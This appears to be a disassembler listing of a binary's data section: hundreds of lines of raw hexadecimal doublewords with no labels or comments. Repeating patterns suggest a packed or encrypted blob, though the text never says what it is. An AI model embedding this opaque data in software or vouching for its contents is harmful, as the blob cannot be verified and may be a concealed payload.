		dd 6742D381h, 0FFFF76E9h, 0ECDDBFFFh, 2EAF277Ah, 87D3AC9Dh
		dd 722CE70Bh, 33E9EAh, 30AB0000h, 74A0h, 0Bh dup(0)
		dd 516E900h, 8D680000h,	0E9063191h, 0FFF9EF48h,	31920368h
		dd 0EF3EE906h, 0A868FFF9h, 0E9063193h, 0FFF9EF34h, 0B06C5805h
		dd 0C03C0057h, 138FB1A7h, 5F5B7DF4h, 0E8241E40h, 1941DA9Dh
		dd 0CE8CEB27h, 7ADF38F4h, 2B2D4A46h, 24CB910Dh,	0DA509618h
		dd 556DEB92h, 4E7D981h,	1D99BFB9h, 8579CECh, 0A3C1E7Dh
		dd 0D8A00D83h, 0DCBB8AC6h, 0D6684365h, 2FDEFE79h, 7656114Ch
		dd 82698595h, 0DF10C0CFh, 0DA88224Eh, 5DFD6D3Fh, 0D589F712h
		dd 0C848FEEAh, 9019B5DEh, 3F5A52E0h, 89BBA36Dh,	457FDF22h
		dd 6E590B66h, 21539031h, 0ED8478F1h, 6340829h, 776B8A6Ch
		dd 32F10h, 0B54EB200h, 5E89E656h, 0C68D9332h, 6BA4BA8Ah
		dd 0D477647Dh, 0F4F9496Bh, 0B2E85D6Bh, 0A4D376A9h, 0CF4EA900h
		dd 0EC8F7E00h, 0E3935FA1h, 12AE6575h, 0AC92C6C5h, 3BCAC35Fh
		dd 2AB5BA0Ah, 0D9D0F46Fh, 84A32A36h, 44DA7C82h,	3018C1Bh
		dd 23525F9Ch, 0BDB7CAC3h, 2A414C9Bh, 0CCD6E074h, 77E05E4Fh
		dd 0AB004218h, 490B1697h, 0DD2AC56Fh, 0E03353E8h, 33169h
		dd 754F0C00h, 0C5FB5EB9h, 94AAAEC9h, 6044FF18h,	2D174BA4h
		dd 48D584F1h, 97F02C16h, 0E601FDC7h, 34534F71h,	3C9E1A3Ch
		dd 516F012Fh, 66E292DAh, 0D21F6F42h, 6C520685h,	70A839Fh
		dd 0DD5059F9h, 0FD6AF48Ah, 3BB5C36Eh, 4E6D25AFh, 90C6D9D0h
		dd 4D1572AEh, 0AF3C907Bh, 0AE6D25AFh, 0AF7BF503h, 100E6D25h
		dd 0ED1C2037h, 4EF4D292h, 4A32A5ABh, 0BBDA8D5Eh, 82000002h
		dd 0D433EFD9h, 2443BF81h, 75920E30h, 0C1DEDAF2h, 1E6BA799h
		dd 0A698BE5Bh, 77510D6Ah, 0C1FB5CBBh, 8CAAAAC5h, 97A54A10h
		dd 92DA5215h, 71D4EC68h, 0A1B65312h, 96324C9Fh,	73E42535h
		dd 3261EE03h, 6134D656h, 0BCA3FC68h, 0EE1F2388h, 0A2B9D463h
		dd 0E5656BA2h, 688ADDCDh, 372A69F6h, 65A4BA11h,	0CDAC3A96h
		dd 49E66D24h, 417BDFBAh, 600AD46Ah, 156D24CDh, 0A79B8405h
		dd 65EAEF7Bh, 1C29777h,	81330000h, 0A3C22C7h, 86BE1DEEh
		dd 95E564A0h, 54600F58h, 94EBC0DAh, 0D5EF70AFh,	0DDCC68F6h
		dd 0DE932632h, 39E8AC6h, 0C3A26B5Dh, 0B2408C5Fh, 0F86D3F3Eh
		dd 0D598579h, 0B1776BDCh, 30h, 11F6F1Dh, 6D2E3F94h, 4F983408h
		dd 0C6DA0821h, 0F0DB478Ah, 3EDA4EDCh, 0BCEB046Dh, 4FA1B4A3h
		dd 50C9C0D0h, 7E343E6Ch, 0EEE8776Ch, 0EA000000h, 0AE1C781h
		dd 2ACB847h, 7794EBC0h,	7BDF22EBh, 0E37B1641h, 0B5740AE1h
		dd 0B0DC6BE6h, 94EBC03Eh, 5AB18BCFh, 0A26BF7C4h, 94C3E55Fh
		dd 163F3CE9h, 0FA3363CAh, 0F069242Bh, 0AA63FFCCh, 0FF3B1D57h
		dd 0EBC425D1h, 799CD494h, 2AC4D0E5h, 5F94EBDAh,	8F0BA7C3h
		dd 96C12E9Eh, 0A6AD9C0Bh, 21F4F4E3h, 0EB6CB537h, 5765C894h
		dd 94EB6CD5h, 931AB6A8h, 74A2D17Ch, 568AFE5Bh, 8A761A93h
		dd 0C78AD98Ch, 5BB092C8h, 0E28C98C7h, 976D3912h, 0FF63028Bh
		dd 2AD6C550h, 0C527005Fh, 2E304FBEh, 4FDE7FC7h,	89259118h
		dd 5A6CF20Dh, 2ECC5328h, 6EE1324Ah, 116h, 94103429h, 24E0E47Bh
		dd 77B395CBh, 837F5918h, 0CCC8F264h, 0FD65FEA1h, 0AAB0CFCBh
		dd 5E031C98h, 1751AE6Ah, 827F531h, 0DA5372FCh, 29010792h
		dd 2BE7D981h, 76B294CCh, 0E1C78162h, 0B5ACEB76h, 0C02BC593h
		dd 0C05E94EBh, 6DE73AC9h, 6EDE4F4Bh, 0ED7B9EC2h, 0B96FD5DFh
		dd 132FFC18h, 0BEDD68F7h, 3941AA9Ch, 0C5C4FA5Eh, 0C6599ECBh
		dd 0F76AB18Ah, 6F2AB5D1h, 4AD5D1EBh, 0F930144Fh, 3EBC49D7h
		dd 144D486Dh, 4647DB30h, 0FBCC393Bh, 0A8CFD95Ah, 0AF91C7A0h
		dd 0E6789713h, 77440FDCh, 32000000h, 85D21F6Fh,	0DD50DF77h
		dd 332B768Ah, 8A4BA11h,	9201ACA3h, 0ADD9D1Fh, 73FDEBBFh
		dd 66D2533h, 0FA1CF18h,	426D2533h, 92D22DDCh, 5818FD77h
		dd 4A46E27Eh, 0BE0D2B2Dh, 0B3889612h, 685CD51Eh, 70E70242h
		dd 58F4C88Fh, 0ADA7C03Ch, 770AF958h, 9632D621h,	8A6FE635h
		dd 857F3D5h, 1AF1D78Dh,	6F68504h, 0CD872B1Fh, 90D02FEBh
		dd 3F255B6h, 0E4000000h, 0DC817A5Eh, 84BC03E8h,	6DF249A2h
		dd 312D705Bh, 0F169B417h, 0B9A1FCCFh, 9ED92487h, 4A0E6DBEh
		dd 15489774h, 5708D833h, 0B951E789h, 4,	8359CF01h, 3C8704EFh
		dd 89535C24h, 4C381E3h,	81000000h, 4EBh, 241C8700h, 240C895Ch
		dd 1D6768h, 242C8900h, 9907AEB9h, 49E9D13Bh, 8105E1C1h
		dd 0DF6BACC1h, 0F7D98745h, 81D987DBh, 5E8910E9h, 4EC83FAh
		dd 81242489h, 42404h, 685D0000h, 386Bh,	81240C89h, 3BBD2434h
		dd 458F0B55h, 8758108h,	0B553BBDh, 5D2434FFh, 8B04C483h
		dd 8953240Ch, 4C381E3h,	83000000h, 1C8704C3h, 41E95C24h
		dd 0D7FFF9EAh, 174A7354h, 3194E3B8h, 0FFC50306h, 0D43F92E0h
		dd 5F41EE46h, 133704Ch,	0C334BD7Bh, 0BD2B7B27h,	897AB021h
		dd 0AC420B0Bh, 3F146E6Dh, 0B29A5945h, 0EEFE5A3Ah, 87F9FE17h
		dd 35413226h, 21A22D2Dh, 7F8D8D54h, 6A063196h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 1D22C351h, 8B09DEE7h, 2B322D85h, 11B58B06h, 89062B33h
		dd 2B0EE18Dh, 199D8B06h, 1062B0Bh, 2B00918Dh, 0E185C706h
		dd 0F8062B21h, 60000067h, 0F858D89h, 0EE9062Bh,	47000000h
		dd 0A6D23F48h, 7923C2D4h, 62C5CC8Ah, 85C7610Fh,	62B2BE5h
		dd 0
		dd 159D9D8Bh, 0B5FF062Bh, 62B21A5h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 0D7C35141h,	0F6BD222h, 7E9DABFh
		dd 4F000000h, 1C7B9926h, 95FF9288h, 62B2731h, 0F1D8D681h
		dd 0B58B7C92h, 62B25A9h, 95FF006Ah, 62B2945h, 0EEBC08Bh
		dd 0CCBE655Fh, 0BAB54AD9h, 5EA2C24Dh, 7D53FC48h, 0BF5DB160h
		dd 56AEB121h, 53ED8C81h, 0A5DDB7C4h, 87372710h,	69070B67h
		dd 56224213h, 56B8F532h, 80D6D752h, 56B9363Dh, 44BEB132h
		dd 8FABB132h, 41D3785Bh, 0D5821EA3h, 95541E32h,	925124D2h
		dd 59B4D039h, 0DAAEB132h, 1FEFEFA0h, 0A03A7D44h, 600E7918h
		dd 6316B7E4h, 5661B376h, 0CF45B132h, 848435C0h,	0E24992C2h
		dd 5D8A5D5Ch, 0ABE54A97h, 985E5DE0h, 56EA4953h,	5675B4DBh
		dd 21A70332h, 565DF959h, 56AF383Dh, 56ABB132h, 8A2BD132h
		dd 4E1F0AC8h, 568BC041h, 0E97AD132h, 8505BEC1h,	0A35DB153h
		dd 56F7C2CCh, 5B57B132h, 54EF0F1Fh, 5AD59BCCh, 56EAD3B4h
		dd 5674363Dh, 2043B132h, 565DEA24h, 0B711B132h,	0CE374894h
		dd 0EBB5E76Dh, 815FA3FBh, 229F4EA9h, 5675CC7Eh,	5539BE52h
		dd 595DB132h, 0AFCE688Dh, 37963A54h, 59ABB153h,	56D5B7BAh
		dd 0A260D132h, 56145DB8h, 5737BE32h, 0AA5DB132h, 5047B132h
		dd 7157B132h, 4899F8BEh, 0AED5B193h, 4603B132h,	0E75B132h
		dd 7E1D677Bh, 11597BE2h, 554BBAAFh, 565188CCh, 56A05832h
		dd 0D34DB132h, 0B645E86Fh, 0E1CDFDF3h, 4552D136h, 4A5DB132h
		dd 8E33B3AFh, 0BCF56738h, 0E87A6CD0h, 2CB012B2h, 510281B4h
		dd 0A075B132h, 540FB377h, 0F0529F7h, 56AEA3DAh,	0EEC38C32h
		dd 158F389Dh, 425D6F36h, 0B71F32B9h, 596785CEh,	56BAB1B9h
		dd 563CEF32h, 8A2ED132h, 565058F7h, 0F5F0B132h,	9C7190A4h
		dd 56EAD092h, 9FCABE52h, 37CA0552h, 5EDABE53h, 59AEB132h
		dd 5657B3B5h, 56CAD132h, 473DD132h, 9EAB132h, 0D43B9798h
		dd 42A0654Ch, 27553BAFh, 577784F7h, 5657333Dh, 0BFF1B132h
		dd 56D5B13Fh, 0EA49B8D4h, 36274625h, 1386E389h,	565DD012h
		dd 59AEB1C7h, 5657BBB3h, 56AE5832h, 0BF8EB132h,	56F9E957h
		dd 27CFD132h, 59848FE7h, 565DB3BDh, 37F4E632h, 44BEB132h
		dd 1CABB132h, 2B06D393h, 5F594B81h, 0A08D5504h,	0BA1F13C1h
		dd 0D252D1D0h, 56AEB134h, 5657353Dh, 59CBB132h,	0E1DA4785h
		dd 568BD0E8h, 5CF1BE32h, 36BAB132h, 0A1DCEA62h,	50AA23F4h
		dd 5957B153h, 56ABB9B0h, 5450BE32h, 36EAB132h, 0AF75B153h
		dd 56B2393Dh, 593DB132h, 56AEB1B2h, 5657D032h, 56A2343Dh
		dd 30B5B132h, 30C98488h, 561443B9h, 533FBE32h, 365DB132h
		dd 37650E3Dh, 0AF37B132h, 405C3052h, 0D7D150DBh, 9C1D63C5h
		dd 3614D041h, 56BC59CAh, 219DB132h, 0C63B1E06h,	0E5720E54h
		dd 56ABD06Ah, 56D5A3DBh, 0A0D53D32h, 7E5AB9CAh,	0EE889A1Ah
		dd 0F7039C9Fh, 54809F9Ch, 5657B132h, 44BAB132h,	0F3083F90h
		dd 36EAB1EFh, 0D6156FB3h, 5E53F7D1h, 0C35DB132h, 5C0B891Eh
		dd 37DDCB23h, 5CAC66CEh, 4BD5B032h, 55EAA132h, 4475A832h
		dd 56BAD030h, 373DE052h, 0B02FD76Ch, 5636C64Dh,	5A22BE32h
		dd 59D5B132h, 56EAB7B9h, 56FEBE32h, 56BAB132h, 45B44832h
		dd 63AEB132h, 165F4276h, 0EEC99590h, 39DC6B4Fh,	97EC6ACAh
		dd 5675F208h, 59BAB1CEh, 565DB0BBh, 56AE4832h, 564F323Dh
		dd 0D9A4B132h, 56D5B120h, 56EABCDBh, 10424032h,	29863D3Eh
		dd 0BB89866Dh, 56AE0F9Bh, 56563F3Dh, 0BF53B132h, 56D5B13Fh
		dd 9293E404h, 9458F843h, 4017B270h, 1E5DB147h, 0DD543A30h
		dd 5657D0C9h, 56ABBEDBh, 20B73332h, 0A8398405h,	499C54BBh
		dd 4E0A63ABh, 5415B132h, 56AEB133h, 0AF57B1CBh,	56ABB18Ah
		dd 56D5B132h, 0B14CB0DAh, 0D5478CA6h, 89C48832h, 0ADD7441Eh
		dd 6CE803Dh, 0C66BE60h,	0CC9B0B6Ah, 0CB4AE22h, 4BAE16Ah
		dd 3715E362h, 4EA803Dh,	0E07803Dh, 67A1E968h, 407E362h
		dd 0EF1803Dh, 593C803Dh, 8DEAB132h, 0E1C3E04Ah,	5F83C16h
		dd 0F9D338A2h, 0EF4F48Eh, 45C1E968h, 39E5F862h,	0D7B3B44Eh
		dd 0BFB7D9D3h, 5675B134h, 0EBAED614h, 6C0B280h,	0C9FBE60h
		dd 0E0DD06Ah, 0A72A74A4h, 7FB7991Ah, 56EAB7DBh,	82525732h
		dd 0CB79C34Fh, 0E3D12253h, 67F6D0F7h, 58BEE362h, 0D8ABB132h
		dd 0CC900D9Dh, 302B19F9h, 0A488E595h, 368BBE71h, 0C05EB53h
		dd 72EA386Ah, 3637D136h, 3B15D753h, 0BF49D00Ah,	56EAB137h
		dd 4AFA5F5Bh, 873BD717h, 50B4A73Ah, 90AEB132h, 48A05B5h
		dd 0ECA2C11h, 67DAE362h, 67E5E968h, 5675BFDBh, 3AA50F32h
		dd 0E667B07h, 52B92783h, 0CE493DFh, 0EF3EB6Ah, 52F1F5BBh
		dd 4503E362h, 8975B132h, 0AD30441Eh, 810BC02Ah,	254C1CF6h
		dd 99791802h, 67A4D46Eh, 56D5B7DBh, 0A22DB732h,	0C16232Fh
		dd 5053E96Ah, 175DB132h, 28DE6830h, 53D7BE88h, 0ECABB132h
		dd 5476D41Dh, 0AAEAB153h, 5674373Dh, 5643B132h,	5DD7BE32h
		dd 0BFAEB132h, 5657B134h, 1DB62FEAh, 56D5F1F0h,	56FD3C3Dh
		dd 449CB132h, 0FBAB132h, 3F4712CDh, 6FA162C6h, 0D07BEA77h
		dd 0FA2337B0h, 59D5B1BEh, 56EAB9B9h, 0DD13D132h, 8805BEF0h
		dd 5BD9BE53h, 36AEB132h, 5657383Dh, 0D7CDB132h,	37C13CF3h
		dd 0D4E5B132h, 5675B133h, 36BAB1CAh, 47853054h,	8925D73Eh
		dd 41D4BE53h, 0BFABB132h, 56D5B120h, 6C828136h,	1C2BE566h
		dd 9C56FC26h, 9CBA78AAh, 56AEED33h, 3657B1CAh, 36CA66B9h
		dd 30C07FB2h, 568B76B9h, 56795832h, 5A22B132h, 9C19770Ch
		dd 0A8CA97F2h, 56576026h, 0AFABB1CBh, 583CB132h, 30EAB132h
		dd 0F6C8CE58h, 2B3B1AD5h, 5B63C45Bh, 0BFAEB157h, 5657B120h
		dd 0B92D3234h, 0AAD58B1Eh, 14CA2517h, 0BCBC549Bh, 56BAF0F5h
		dd 565A313Dh, 0D8A1B132h, 5657B133h, 0A3ABB1C7h, 56D5BCDBh
		dd 0BF5C3632h, 0F395C2F8h, 930FE690h, 565D0103h, 0DA15D752h
		dd 37A530AEh, 37F53142h, 56D9373Dh, 0D4E5B132h,	5675B134h
		dd 56BA323Dh, 565DB132h, 0AFAEB1C7h, 0D358B132h, 56ABB133h
		dd 36D5B1CAh, 56EABEDAh, 0DB196132h, 37DF895Eh,	0A87E0830h
		dd 633BB6Bh, 6F3B5988h,	36CAE82Ch, 56B444CAh, 56EA4D32h
		dd 567D393Dh, 0E0DAB132h, 13E6D748h, 5C47D0CBh,	257B132h
		dd 0CD430F5Bh, 0A88185BCh, 59EAB1B6h, 5675B7B4h, 0E9DCD132h
		dd 563CB41Fh, 0A425D132h, 37860E3Dh, 56B9383Dh,	5B3CB132h
		dd 37EAB132h, 9493728Dh, 53EA43BFh, 37E3F1A6h, 4647B132h
		dd 0BA57B132h, 75D21B7Ah, 1DD4220Ch, 53F4DF44h,	56A72760h
		dd 56B35832h, 0BAA9B132h, 0BEAB3D71h, 56BBFFBAh, 5729BE32h
		dd 0A3D5B132h, 56EABFDBh, 0D9E23C32h, 6B1AC238h, 0E341C72Bh
		dd 565C39CEh, 56435832h, 446B132h, 0CFBD54FCh, 0B0EE097h
		dd 2A424650h, 5E8BFCF1h, 0DD3DD5ECh, 8119BEF3h,	3657B153h
		dd 56ABB8DBh, 3A200532h, 0D5D0B0B2h, 0DD7AAEE8h, 56BAB131h
		dd 370D5AB2h, 0DFA1B132h, 5657B13Fh, 56ABB9DBh,	9E402632h
		dd 3262FF3Eh, 0AE75B11Ah, 5A53B132h, 525DB132h,	127356D0h
		dd 0D5F8C3E9h, 567D738Bh, 56D54932h, 0AF800352h, 5975B153h
		dd 56BAA0B4h, 56515832h, 0B5AEB132h, 53148230h,	2AD2ECD7h
		dd 56D55E8Fh, 56FD3C3Dh, 0D67AB132h, 56BAB123h,	565DBDDBh
		dd 1ABD0032h, 34E4D4E0h, 1E8D7D4Fh, 36D5B166h, 59BA6580h
		dd 5675B1BAh, 56DBE832h, 0E3E5D132h, 30A68C4Ch,	96B360B3h
		dd 0D7CDD153h, 59B8B8FAh, 56EAB4B8h, 0D30A0B32h, 56DB9A77h
		dd 5FB4D132h, 37AEB132h, 0B2ADDBE1h, 0B2CE7C7Eh, 37DA66B2h
		dd 5F03B132h, 1C75B132h, 0D3617C20h, 0FEF0C44Ch, 0DDA1B132h
		dd 5657B13Eh, 0B512D752h, 3B1F30B2h, 378DC1DCh,	568CB132h
		dd 570AD132h, 565DBBDAh, 299E8032h, 0D3805511h,	9D13300h
		dd 36D5B153h, 36A268B2h, 5675B8DBh, 737A6E32h, 0ED4ED7A2h
		dd 37CF79F5h, 56A2B132h, 4542D132h, 0A6D5B132h,	41AFFCBDh
		dd 0CD5C22F4h, 0DA310EEBh, 1C7580DFh, 56CFC50Ch, 56574932h
		dd 56ABA3DBh, 357B8D32h, 46604490h, 0E90D7410h,	0FD975962h
		dd 56CD9CA5h, 0A825D132h, 5655323Dh, 37CBB132h,	59D5B153h
		dd 56EAB0B7h, 56754432h, 56BABEDBh, 0DD03C632h,	1F15FCCFh
		dd 0F11AA0B5h, 0EFE8B61Bh, 30B54D52h, 0E1E572B9h, 5614D0FBh
		dd 5730BE32h, 0AA5DB132h, 4647B132h, 8657B132h,	66FAE875h
		dd 0EA530F6Dh, 4D6AB75Ah, 56F6DA82h, 56B05832h,	3578B132h
		dd 855686D1h, 4AD4181h,	56ABB6DBh, 0C2070432h, 8AD5ED5h
		dd 0D87AB132h, 56BAB133h, 365DB1CEh, 0D76C0E3Dh, 773FA5D5h
		dd 56ABD000h, 56D5BADBh, 0A5D90332h, 0C9AD89FBh, 3C4F33BDh
		dd 565C303Dh, 565BB132h, 53DABE32h, 36ABB132h, 377165B2h
		dd 30780252h, 561477B9h, 5E534D32h, 0F85DB132h,	0ABB5DADAh
		dd 56C1F06Fh, 56A45832h, 0E69CB132h, 5A81AA9Bh,	53C02631h
		dd 0F031F855h, 0BF5DB1C1h, 56AEB13Ch, 3649D2F8h, 0F02C39A5h
		dd 0C6225405h, 56EA23CAh, 5663353Dh, 4753B132h,	4E5DB132h
		dd 0ED32CA2Bh, 20A104ECh, 16D89B51h, 937CD395h,	561FB132h
		dd 5AFDBE32h, 59BAB132h, 565DB7B5h, 5627BE32h, 0AF57B132h
		dd 5D42B132h, 5FD5B132h, 0D44B521h, 0D4FE84CDh,	56BA1C2Bh
		dd 565758C7h, 0B98AB132h, 9F79D2E8h, 75DFF31Fh,	503CB132h
		dd 0C6EAB132h, 0A1D28AD0h, 36BAB150h, 565C3E3Dh, 305BB132h
		dd 4FE058B3h, 0A3ABB153h, 583CB132h, 2BEAB132h,	0A8333883h
		dd 0A4C94DB4h, 988631F4h, 36AEB1FEh, 56525952h,	3871B132h
		dd 8FC2B08h, 56EA3F3Dh,	0BF14B132h, 56BAB139h, 0ACC74400h
		dd 0FAAD0286h, 3734450Bh, 0AAABB1C7h, 0D2DAB132h, 56EAB133h
		dd 0AA75B1CAh, 5642B132h, 56545832h, 16E0B132h,	9E1749Ah
		dd 56EC22D6h, 4A5EBE32h, 36EAB132h, 5675353Dh, 5953B132h
		dd 0CA5DB132h, 4DB0BD4Ah, 67BF5554h, 0F84CDC6Fh, 56B40966h
		dd 0DD8CD132h, 54FCBEE3h, 0E1BAB132h, 565DD018h, 56AEBADBh
		dd 7E619432h, 0B35254ABh, 4B66FF2Bh, 0AF8AB132h, 5675BCDBh
		dd 79AF3E32h, 0D15B08CDh, 0B3847476h, 5636C43Eh, 0AD14D132h
		dd 0EED96811h, 66044A5Eh, 0AE75B153h, 56AB5952h, 5BADB132h
		dd 826E99C5h, 16099B06h, 0F6498EAAh, 30CDBBA0h,	37B569B9h
		dd 3615B132h, 56BABADAh, 0A5427232h, 39A860C7h,	0C1CF994Dh
		dd 37733A6Ah, 314C548Dh, 56EAD05Ch, 5675B6DBh, 45C1E732h
		dd 5D344A4Ch, 0D9A1B132h, 5657B13Ah, 30713A52h,	37DCED8Bh
		dd 4203B132h, 4975B132h, 0B19DB3BDh, 0D0335FFAh, 486204DEh
		dd 0BC707E69h, 5647F3C7h, 56DC5832h, 36EFB132h,	0A81BA706h
		dd 56C9BFCCh, 565D4932h, 9811BE52h, 56403D3Dh, 4442B132h
		dd 1DD5B132h, 0FA69C5D0h, 4644148Bh, 4448F611h,	0A026F37h
		dd 56AED0E6h, 5650343Dh, 30CBB132h, 88786BB3h, 59EAB153h
		dd 5675B5BBh, 0DE8D132h, 0BF5DB153h, 56AEB134h,	0DFA3DE87h
		dd 0D7CB79F1h, 0F87D93C5h, 0DEE5E602h, 5675B132h, 56BAD06Ah
		dd 57D1BECAh, 0A3AEB132h, 0DA58B132h, 56ABB135h, 56D43B3Dh
		dd 5612B132h, 56665832h, 3581B132h, 0BA03AFABh,	8DAB20DFh
		dd 921921EFh, 0A004CEFEh, 36D5B1DAh, 0BB1AE589h, 37933B1Dh
		dd 56BAA5DBh, 1D59AF32h, 0D57E8619h, 0C2E4A65Ah, 2A3D4534h
		dd 22D53382h, 59EAB15Bh, 5675BDB7h, 5030BE32h, 595DB132h
		dd 56AEB1B7h, 0A357B132h, 56BA3A3Dh, 5A3CB132h,	23EAB132h
		dd 39879CEh, 0DEB29A1Ch, 56C3C95Ch, 0E9A1D132h,	0D19C30F8h
		dd 37E774D1h, 0D4DAB132h, 56EAB139h, 0A8FED752h, 56BA353Dh
		dd 563CB132h, 56BF5832h, 336FB132h, 7512B353h, 0CBDFE8CCh
		dd 0B4D01762h, 0AF4023BFh, 0DEB5B132h, 565DB133h, 56AE4DC7h
		dd 56475952h, 0AC66B132h, 0A962583Fh, 39EE0343h, 3F49E7FFh
		dd 0FE9B504h, 0B9DCE36Bh, 27F51B86h, 5FBED06Ch,	0A6ABB132h
		dd 6924B117h, 0AC60837h, 3015B132h, 4D6B66B3h, 0C18A3054h
		dd 5B47D05Ah, 0B557B132h, 4AF42FB8h, 467DB47Eh,	0A3F60782h
		dd 5C9CB132h, 0A7BAB132h, 0C6CDAED8h, 6D1EFAC9h, 3657B16Fh
		dd 0C7300E54h, 0ABFC0E54h, 0AFEAB153h, 3615B132h, 8594CE8Bh
		dd 3702E139h, 0B9D00F54h, 3657B153h, 7313D763h,	0BF82E9CCh
		dd 56EAB13Ah, 0A0988A12h, 0ECA5C56Ch, 565DD06Dh, 56AEA2DBh
		dd 0E99E32h, 40407E5Dh,	0FDC26119h, 656E4DE3h, 1EA66EAFh
		dd 5053B132h, 0FE5DB132h, 0BBBF962Eh, 3657B156h, 56A83D3Dh
		dd 0E1DAB132h, 56EAD0C3h, 5675A0DBh, 89D07732h,	0F543D574h
		dd 6D9B9E19h, 0B292CD2h, 56AB24F6h, 0DF6ED752h,	865DBE43h
		dd 0AA75B153h, 0D1B5B132h, 565DB133h, 9E24D1C7h, 5957B153h
		dd 56ABB4BFh, 0F83D132h, 56EAD0CEh, 58F4BE52h, 0BFBAB132h
		dd 565DB13Bh, 714F3F0Ch, 0E40FFFEEh, 0EE5B0B97h, 56B48F52h
		dd 0EE8CD132h, 0A6FEF567h, 0AABAB153h, 0E152D152h, 2A7F30C3h
		dd 374C5AACh, 0CA413060h, 0FA42899h, 59EAB153h,	5675B0B8h
		dd 56464932h, 565D4932h, 0BFAEB1CEh, 5657B13Bh,	45A9B2BBh
		dd 0A6105BE5h, 59EAB14Eh, 5675B0B6h, 51534D32h,	8F5DB132h
		dd 94A0EEF2h, 5657AB17h, 5D42D1CBh, 55D5B132h, 0C50809C3h
		dd 12147EF7h, 9D313C5Dh, 365DB153h, 34AD0952h, 0DD31ACE5h
		dd 3757D0F8h, 5620B132h, 576CBE32h, 0AE75B132h,	56B65852h
		dd 0DC6BB132h, 0DEFE2E21h, 0D467CFF4h, 30FCF6B2h, 0AFB271B3h
		dd 56EAD06Ah, 56743A3Dh, 564FB132h, 4BD7BE32h, 59AEB132h
		dd 5657A6BEh, 56B95832h, 9B65B132h, 0FCCDBEB3h,	0F634CEACh
		dd 0E4392389h, 818B889Ch, 36CEB132h, 0F4853054h, 5629BE4Ch
		dd 37D5B132h, 0BFEAB153h, 5675B121h, 0AA15D474h, 0A29D39F8h
		dd 0ABE5D7CAh, 62A162BFh, 5637AA6Eh, 4758BE32h,	0BFEAB132h
		dd 5675B13Eh, 0F1F88FC2h, 67787266h, 0BD45A3A2h, 3637B132h
		dd 47424AB9h, 0C0D5B132h, 0F7F5F096h, 830604AFh, 0A945F497h
		dd 885DFDFBh, 56AED053h, 565F5952h, 6314B132h, 9014AB79h
		dd 5D039127h, 6475B132h, 0ADAD5107h, 0D9DA76E2h, 30F12948h
		dd 563641B9h, 56A25832h, 8C5DB132h, 4AB7F784h, 567A19F8h
		dd 56BA4432h, 56593D3Dh, 36CEB132h, 46BED053h, 0C1ABB132h
		dd 9111E4Fh, 9D0D31D0h,	0AB4D258Fh, 56C7795Eh, 5ED0BE32h
		dd 59AEB132h, 5657B3B8h, 0BFCAD132h, 56D5B139h,	0DC002B37h
		dd 61B5F0ADh, 568A247Dh, 58B4D132h, 0A2AEB132h,	82750891h
		dd 287533DCh, 3FEC5A2Ah, 56FA585Bh, 17C0B132h, 8AD7C18Ch
		dd 0BA34933Eh, 0CC24C654h, 5636B6ABh, 56B95832h, 0EABAB132h
		dd 0FC11B091h, 626F4518h, 459251F2h, 0E779F607h, 5657B132h
		dd 5DDBBE32h, 0BFABB132h, 56D5B134h, 0B194D6E6h, 5680F61Bh
		dd 913AD132h, 565358F7h, 7203B132h, 1747CED5h, 10AE7BE1h
		dd 3340A350h, 0BFEAB153h
		dd 5675B13Ch, 0E3AD2BA2h, 35CD19B7h, 3F10496Eh,	5657DF42h
		dd 0A3ABB1CAh, 0D9DAB132h, 56EAB127h, 5675A1DBh, 138D3732h
		dd 0DAE13BFBh, 1E2016FEh, 0EFBC29BEh, 0BFABB128h, 56D5B137h
		dd 0CDF2FFAEh, 5975B1ACh, 56BAA8B7h, 56495832h,	0D7EBB132h
		dd 27CBB65h, 401E4F55h,	0B6297C3Fh, 67B06B66h, 5675F40Dh
		dd 56BAB4DBh, 915E8D32h, 0CECCF2h, 590EE961h, 56ABB7B8h
		dd 565CBE32h, 37EAB132h, 0DE7AB132h, 56BAB133h,	0AF5DB1CAh
		dd 56AB5852h, 7375B132h, 3008DE08h, 0D6F152B3h,	59EAB153h
		dd 5675B6B3h, 573DBE32h, 0AA5DB132h, 5B47B132h,	9B57B132h
		dd 0C67807Bh, 0FF0AA01h, 0AA56EBD5h, 5D9CB132h,	0C9BAB132h
		dd 9B02647Fh, 23B7CB74h, 5657125Ch, 37CBE652h, 0BEB5D06Bh
		dd 56EAB120h, 5D3D1287h, 31E6BD4h, 6CC5E42Dh, 59036356h
		dd 0D731D4C1h, 8957FDCh, 30B4D152h, 0DA9B42B3h,	5675D053h
		dd 56AC3F3Dh, 47B4B132h, 61AEB132h, 0A08E81C9h,	0D394C0D0h
		dd 0B0765AD8h, 1933FA10h, 568DB132h, 56B15832h,	0E7CDB132h
		dd 3FE4B4F4h, 77F4AD36h, 36ABB15Dh, 30A17CB2h, 0BF8B6FB9h
		dd 5675B123h, 0CBEE1821h, 0E567A078h, 844B49FBh, 13F815D6h
		dd 59ABB183h, 56D5B0BBh, 0DEE54832h, 5675B120h,	56B25852h
		dd 6F52B132h, 0D082EA77h, 0E15837B0h, 56ABD0EBh, 56D4323Dh
		dd 0BF1FB132h, 5675B121h, 0E3F068FEh, 0F49FFC88h, 0FB52F96Ch
		dd 7824C93Bh, 566442ABh, 56DD5832h, 6849B132h, 6D5C4221h
		dd 56BA0C56h, 567D3B3Dh, 0BFCEB132h, 5657B126h,	265519E1h
		dd 0D359721Fh, 29AEC0EBh, 0ED5A20A5h, 6A96A851h, 0BEBE3054h
		dd 56AED0AFh, 0AEE34852h, 56AB4D53h, 56D5BFDBh,	3515832h
		dd 7E51515Eh, 2D1D5EF5h, 5688A520h, 56BC5832h, 5C65B132h
		dd 2CE0E48Ah, 861261Eh,	73185118h, 7F1F11B8h, 0E2DAB132h
		dd 85EABE8Ah, 59AEB153h, 5657B0B0h, 0DEA44832h,	56D5B135h
		dd 56EB3A3Dh, 568DB132h, 56B65832h, 2C6BB132h, 0E9D4A55Bh
		dd 0D8355B10h, 5B42FDAFh, 25D5B132h, 1A88812Ch,	0D16FC821h
		dd 0CBC0B39Ah, 56A1B132h, 56A95832h, 0D06B132h,	0A7E3886Ah
		dd 36D5B1C5h, 56EAB7DBh, 65B68B32h, 0A3D6CD20h,	0AE5DB153h
		dd 0DAA1B132h, 5657B13Bh, 0F54D0F52h, 885F9E5h,	56EA4853h
		dd 50F5BE52h, 0D7BAB132h, 0BCC6F7DCh, 0AD19BE4Eh, 0BF57B153h
